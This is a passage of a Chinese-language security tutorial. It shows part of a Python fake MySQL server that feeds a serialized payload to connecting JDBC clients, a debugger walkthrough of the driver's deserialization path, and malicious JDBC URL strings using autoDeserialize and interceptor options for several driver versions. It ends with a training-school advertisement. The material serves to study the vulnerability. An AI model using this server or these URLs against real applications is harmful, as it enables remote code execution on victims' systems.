_payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e
send_data(conn,_payload)
data=receive_data(conn)
elif "show warnings" in data:
_payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a65
send_data(conn, _payload)
data = receive_data(conn)
if "set names" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "set character_set_results" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "show session status" in data:
mysql_data = '0100000102'
mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
# 为什么我加了EOF Packet 就无法正常运行呢??
#获取payload
payload_content=get_payload_content()
#计算payload长度
payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
payload_length_hex = payload_length[2:4] + payload_length[0:2]
#计算数据包长度
data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
mysql_data += str(payload_content)
mysql_data += '07000005fe000022000100'
send_data(conn, mysql_data)
data = receive_data(conn)
if "show warnings" in data:
payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e2053544
send_data(conn, payload)
break
if __name__ == '__main__':
HOST ='0.0.0.0'
PORT = 3309
sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#当socket关闭后,本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sk.bind((HOST, PORT))
sk.listen(1)
print("start fake mysql server listening on {}:{}".format(HOST,PORT))
run()
在本地运行,并运行 JDBC 的连接代码
再来看 Fake MySQL 服务端这边的响应,是能收到包,并且发包的;相当清晰
调试分析
在 com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#populateMapWithSessionStatusValues 下个断点,开始调试分析
往下跟,先运行查询语句 SHOW SESSION STATUS,接着调用了 ResultSetUtil.resultSetToMap()
ResultSetUtil.resultSetToMap() 调用了 getObject() 方法,第一处调用 getObject() 方法回返回 null,第二次调用时才会走到反序列化的代码逻辑里面。
在调用 getObject() 方法中,判断 MySQL 的类型为 BLOB 后,就从 MySQL 服务端中获取对应的字节码数据
从 MySQL 服务端获取到字节码数据后,判断 autoDeserialize 是否为 true、字节码数据是否为序列化对象等,最后调用 readObject() 触发反序列化漏洞
不同 MySQL-JDBC-Driver 的 payload
8.x
如上述 Demo:
"jdbc:mysql://127.0.0.1:3309/test?characterEncoding=UTF-8&serverTimezone=Asia/Shanghai" +
"&autoDeserialize=true" +
"&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";
6.x
属性名不同,queryInterceptors 换为 statementInterceptors
jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
>=5.1.11
包名中没有cj
jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor
5.x <= 5.1.10
同上,但需要连接后执行查询。
5.1.29 - 5.1.40
jdbc:mysql://x.x.x.x:3306/test?detectCustomCollations=true&autoDeserialize=true
5.1.28 - 5.1.19
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true
0x04 小结
总体来说还是比较简单的一条链子,但是需要注意到需要将 MySQL 字段类型修改为 BLOB 才可以。
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

